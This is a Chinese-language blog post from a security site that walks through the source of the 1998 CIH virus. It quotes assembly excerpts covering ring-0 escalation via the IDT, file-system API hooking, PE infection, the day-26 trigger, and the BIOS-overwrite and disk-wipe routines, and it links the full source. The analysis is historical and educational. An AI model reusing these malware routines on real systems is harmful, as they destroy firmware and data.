二十年重回首——CIH病毒源码分析

阅读量352957

|评论6

|

发布时间 : 2018-11-23 15:20:19

 

缘起

又是一年双十一,又到一年剁手时。

听说今年固态硬盘比较便宜,我就想着在双十一的时候给自己添一块固态硬盘。

但是我的主板比较老,不知道能不能支持NVME协议的固态硬盘,就在网上搜索了一下.

这一搜索不要紧,搜索后我发现,我的老主板本身并不支持NVME协议的固态硬盘,但想要使用,也不是没有解决方案。

解决方案就是:

  1. 下载官方的BIOS固件
  2. 修改官方BIOS固件,将支持nvme的模块加入到官方的BIOS固件中。
  3. 将修改后的BIOS固件烧录到BIOS。

what?官方的BIOS固件修改后居然还能烧录进去,居然没有自校验吗?

BIOS作为计算机启动的第一道入口,能让用户随意修改,虽然方便了用户,但是也带来了巨大的安全隐患。

我忽然想起很久以前有一款很出名,据说能破坏BIOS的上古病毒-CIH,忽然起了好奇心,想要看看CIH具体是怎么实现的。

于是就有了这篇文章,与大家一起回顾那段历史,分享下我分析CIH源码的过程与心得。

 

源码

CIH的故事已经消逝很久了,它的源码却还能在互联网上找到。

源码可以在github上找到,网址如下:https://github.com/onx/CIH

这是1.4版本的CIH源码,据说还有1.5版本的,但是我没有找到。我们的分析就从这份源码开始吧!

先大概扫一眼代码,作者的编码习惯很好,各部分都也有注释,开头部分是版本记录,将版本变化的具体时间和具体功能都记录了下来。

我们先把时间线理一下。

1.0版的完成时间是1998年4月26日, 完成基本功能,此时病毒的大小是656个字节。

1.1版的完成时间是1998年5月15日, 增加操作系统判断,如果是WinNT,则不运行病毒,此时病毒的大小是796个字节。

1.2版的完成时间是1998年5月21日, 增加删除BIOS和破坏硬盘功能,此时病毒的大小是1003个字节。

1.3版的完成时间是1998年5月24日, 修复感染winzip自解压文件的错误,此时病毒的大小是1010个字节。

1.4版的完成时间是1998年5月31日, 彻底修复感染winzip自解压文件的错误,此时病毒的大小是1019个字节。

1998年7月26日,CIH病毒在美国大面积传播;1998年8月26日,CIH病毒实现了全球蔓延,公安部发出紧急通知,新华社和新闻联播跟进报导;

之后,CIH病毒作者陈盈豪公开道歉并积极提供解毒程式和防毒程式,CIH病毒逐渐得到有效控制。

呵呵,不到1KB就能删除你的BIOS,破坏你的硬盘,就问你怕不怕?

那么,现在就让我们看看CIH究竟是如何在二十年前造成如此巨大的影响和破坏的!

 

分析

PE文件头

源码第一部分是文件头:

OriginalAppEXE SEGMENT

FileHeader:
db 04dh, 05ah, 090h, 000h, 003h, 000h, 000h, 000h
db 004h, 000h, 000h, 000h, 0ffh, 0ffh, 000h, 000h
db 0b8h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
.....
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 0c3h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
dd 00000000h, VirusSize

OriginalAppEXE ENDS

就是PE文件的MZ文件头。

这段文件头的主要目的是为了符合PE(Portable Execute, 可移植执行文件格式)文件格式.我们常见的EXE,DLL,OCX等文件都必须符合微软规定的PE格式,这样Windows操作系统才能识别并执行,这里我们跳过不做分析,感兴趣的读者可以对照PE文件头和源码自行分析。网络上也有很多关于PE格式分析的文章。

另外,请各位读者注意,因为CIH的故事已经过去很久了,CIH所曾经使用的有些技术已经过时,但却能在今天找到借鉴,有些技术则没有过时,可谓生命力顽强,这一点我会在文章中一一指出,希望能供大家参考借鉴。

VirusGame SEGMENT

ASSUME CS:VirusGame, DS:VirusGame, SS:VirusGame
ASSUME ES:VirusGame, FS:VirusGame, GS:VirusGame

; *********************************************************
; * Ring3 Virus Game Initial Program *
; *********************************************************

病毒真正开始运行是从VirusGame段开始的。

VirusGame这个段名称很有意思!作者完成这个病毒时是23岁(如今已是43岁!),还是少年人的心性,开发一个病毒,对作者而言就好像完成一个游戏一般。

可是时移事变,今天已经不是20年前!2018年,中华人民共和国网络安全法已经出台,开发病毒可能会造成严重的后果,不是一个道歉就能了事的,各位读者在这点上一定要树立一个正确的意识!一定要好好学习相关的法律,不要以身试法。

修改SEH

闲话少叙,接下来我们的分析从MyVirusStart开始。

MyVirusStart:
push ebp

; *************************************
; * Let's Modify Structured Exception *
; * Handing, Prevent Exception Error *
; * Occurrence, Especially in NT. *
; *************************************

lea eax, [esp-04h*2]

xor ebx, ebx
xchg eax, fs:[ebx]

call @0
@0:
pop ebx

lea ecx, StopToRunVirusCode-@0[ebx]
push ecx

push eax

程序的第一段是修改Windows的SEH(Structured Exception Handing)。首先,什么是SEH?为什么要修改SEH呢?

SEH,Structured Exception Handing, 结构化异常处理,是Windows操作系统的异常和分发处理机制.该机制的实现方式是将FS[0]指向一个链表,该链表告诉操作系统当出现异常的时候应该找谁处理。

类似于我们现实生活中的紧急联系人列表,如果应用程序出了什么问题,就交给链表中的一号紧急联系人处理,如果一号紧急联系人无法处理,就交给二号联系人。依次类推。当所有的异常处理函数都调用完成,而异常仍然没有处理掉,这时,操作系统就会调用默认的异常处理程序,通常是给出错误提示并关闭应用程序。

而修改SEH的原因我们会在稍后介绍。

以上代码通过修改FS[0]使得当前的SEH指向StopToRunVirusCode

SEH是Windows提供的异常处理机制,直至今天仍然在各个安全领域应用。

进入内核

; *************************************
; * Let's Modify *
; * IDT(Interrupt Descriptor Table) *
; * to Get Ring0 Privilege... *
; *************************************

push eax ;
sidt [esp-02h] ; Get IDT Base Address
pop ebx ;

add ebx, HookExceptionNumber*08h+04h ; ZF = 0

cli

mov ebp, [ebx] ; Get Exception Base
mov bp, [ebx-04h] ; Entry Point

lea esi, MyExceptionHook-@1[ecx]

push esi

mov [ebx-04h], si ;
shr esi, 16 ; Modify Exception
mov [ebx+02h], si ; Entry Point Address

pop esi

int HookExceptionNumber

接下来这段代码通过修改中断描述符表,获得CPU的ring0权限。

而在WinNT操作系统中,IDT所指向的内存已经无法修改,因此在执行这段代码时,会产生异常。也就是说,这种获取Ring0权限的方法,现在已经没有效果了。

因此,上段代码修改SEH,或者称为编辑SEH的目的就很明了了。

目的就在与识别当前的操作系统,如果发现是WinNT或以后的操作系统,就会自动产生异常并跳到StopToRunVirusCode,停止运行。

所以各位读者大可放心,CIH虽然威力巨大,可是在今天的操作系统上,已经无法感染了!当然,除非有变种。

当在win9x操作系统时,这段代码通过修改中断描述符表,使异常处理函数指向MyExceptionHook.最后一句

int HookExceptionNumber

则直接触发异常,进入MyExceptionHook。下面我们进入MyExceptionHook进行分析。

MyExceptionHook:
@2 = MyExceptionHook

jz InstallMyFileSystemApiHook

; *************************************
; * Do My Virus Exist in System !? *
; *************************************

mov ecx, dr0
jecxz AllocateSystemMemoryPage

这里有一个小技巧。病毒使用dr0寄存器存放病毒的安装状态,dr0寄存器主要用于调试,在应用程序正常运行过程中一般不会修改。因此,将其作为一个全局的临时寄存器。

第一次进入MyExceptionHook时,因为jz的条件并不成立,并不会跳到InstallMyFileSystemApiHook, 而是跳到AllocateSystemMemoryPage进行内存的分配。

此后我们还会第二次回到MyExceptionHook,这时才会调用InstallMyFileSystemApiHook,安装系统钩子.

; *************************************
; * Merge All Virus Code Section *
; *************************************

push esi
mov esi, eax

LoopOfMergeAllVirusCodeSection:

mov ecx, [eax-04h]

rep movsb

sub eax, 08h

mov esi, [eax]

or esi, esi
jz QuitLoopOfMergeAllVirusCodeSection ; ZF = 1

jmp LoopOfMergeAllVirusCodeSection

QuitLoopOfMergeAllVirusCodeSection:

pop esi

在调用AllocateSystemMemoryPage分配了系统内存后,接下来这段代码会将病毒代码复制到此前分配的系统内存中。

挂钩系统调用

; *************************************
; * Generate Exception Again *
; *************************************

int HookExceptionNumber ; GenerateException Again

接下来第二次调用int指令进入MyExceptionHook.接着会跳到InstallMyFileSystemApiHook.

InstallMyFileSystemApiHook:

lea eax, FileSystemApiHook-@6[edi]

push eax ;
int 20h ; VXDCALL IFSMgr_InstallFileSystemApiHook
IFSMgr_InstallFileSystemApiHook = $ ;
dd 00400067h ; Use EAX, ECX, EDX, and flags

mov dr0, eax ; Save OldFileSystemApiHook Address

pop eax ; EAX = FileSystemApiHook Address

; Save Old IFSMgr_InstallFileSystemApiHook Entry Point
mov ecx, IFSMgr_InstallFileSystemApiHook-@2[esi]
mov edx, [ecx]
mov OldInstallFileSystemApiHook-@3[eax], edx

; Modify IFSMgr_InstallFileSystemApiHook Entry Point
lea eax, InstallFileSystemApiHook-@3[eax]
mov [ecx], eax

cli

jmp ExitRing0Init

顾名思义,以上代码就是把病毒的文件处理函数hook到系统调用中。采用的是一种已经被Windows废弃了的技术,叫做VXD,这种技术只能在win9x系统上才能使用,到了WinNT已经不能使用了。

但实际上原理是一样的,主要的目的是挂钩文件操作函数的系统调用,方法也大同小异,先获取旧的系统调用地址,使用我们的调用函数替换旧的函数,执行完我们的功能后回到旧的地址。

花开两枝,我们各表一支。到这里我们先记住,病毒安装了一个系统调用钩子,当执行文件操作的时候,会运行到我们的钩子函数里面。

这里我们看到,安装完钩子以后,会跳到ExitRing0Init,退出ring0状态。

ExitRing0Init:
mov [ebx-04h], bp ;
shr ebp, 16 ; Restore Exception
mov [ebx+02h], bp ;

iretd

退出Ring0之后接着向下走。

; *************************************
; * Let's Restore *
; * Structured Exception Handing *
; *************************************
ReadyRestoreSE:
sti

xor ebx, ebx

jmp RestoreSE

RestoreSE:
pop dword ptr fs:[ebx]
pop eax

; *************************************
; * Return Original App to Execute *
; *************************************

pop ebp

push 00401000h ; Push Original
OriginalAddressOfEntryPoint = $-4 ; App Entry Point to Stack

ret ; Return to Original App Entry Point

这时,打开中断并恢复之前被病毒修改的SEH,毕竟我们的中断已经关得够久了。

最后,如果是通过其他被感染的程序进来的,就回到之前程序的入口点继续执行,否则,直接ret退出。

接下来,我们分析之前挂钩的函数FileSystemApiHook;

当有文件读写调用时,Windows会调用被病毒替换的FileSystemApiHook.

因为是VXD的驱动程序,程序借鉴意义不大,到这里,我们加快速度,分析的粒度会粗一些。

首先根据系统调用的入参判断是否是打开文件调用。如果是打开文件调用则获取需要打开的文件的路径。

接着,作者用大概100行左右的汇编代码判断一个文件是否是PE文件,如果是PE文件就将病毒代码感染到文件中。

感染的方式将病毒代码写入PE文件,修改PE文件的签名,并修改入口点为病毒代码。

; ***************************
; * Let's Modify the *
; * AddressOfEntryPoint to *
; * My Virus Entry Point *
; ***************************

mov (NewAddressOfEntryPoint-@9)[esi], edx

; ***************************
; * Let's Write *
; * Virus Code to the File *
; ***************************

WriteVirusCodeToFile:
......

jmp WriteVirusCodeToFile

潜伏与发作

同时,当系统调用参数为cloasefile时,进行当前时间判断:

CloseFile:
xor eax, eax
mov ah, 0d7h
call edi ; VXDCall IFSMgr_Ring0_FileIO

; *************************************
; * Need to Restore File Modification *
; * Time !? *
; *************************************

popf
pop esi
jnc IsKillComputer

IsKillComputer:
; Get Now Day from BIOS CMOS
mov al, 07h
out 70h, al
in al, 71h

xor al, 26h ; ??/26/????

在IsKillComputer可以看到CIH设计了一个潜伏策略,先感染,然后并不发作,以增加感染的机会,直到当前日期是26日时大家统一发作。

当时间悄然的来到26号时,CIH开始破坏BIOS和硬盘。

破坏BIOS的方法为:

1.将BIOS的内容映射到内存,然后设置BIOS可写。主要调用了IOForEEPROM和EnableEEPROMToWrite.

IOForEEPROM:
@10 = IOForEEPROM

xchg eax, edi
xchg edx, ebp
out dx, eax

xchg eax, edi
xchg edx, ebp
in al, dx

BooleanCalculateCode = $
or al, 44h

xchg eax, edi
xchg edx, ebp
out dx, eax

xchg eax, edi
xchg edx, ebp
out dx, al

ret

从上面的代码可以看到,CIH使用in,和out指令进行BIOS数据的修改。

而破坏硬盘的方法是利用了我们之前提到的VXD调用IOS_SendCommand。

KillHardDisk:
......
push ebx
sub esp, 2ch
push 0c0001000h
mov bh, 08h
push ebx
push ecx
push ecx
push ecx
push 40000501h
inc ecx
push ecx
push ecx

mov esi, esp
sub esp, 0ach

LoopOfKillHardDisk:
int 20h
dd 00100004h ; VXDCall IOS_SendCommand
......
jmp LoopOfKillHardDisk

 

总结

最后,我们来梳理一下:

1.病毒得到执行后会修改IDT,进入内核。这应该算是Win9X系统的一个漏洞,在WinNT及以后的系统这种进入内核的方法已经失效。

3.进入内核的主要目的安装系统钩子,钩住文件读写调用,钩住系统调用后退出Ring0;

4.当有文件读写调用且文件是PE文件时,将病毒感染到PE文件中。

5.潜伏下来,直到每月的26日统一发作,开始破坏BIOS和硬盘数据。

本文由prered2原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/164959

安全客 - 有思想的安全新媒体

分享到:微信
+16赞
收藏
prered2
分享到:微信

发表评论

内容需知
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 三六零数字安全科技集团有限公司 安全客 All Rights Reserved 京ICP备08010314号-66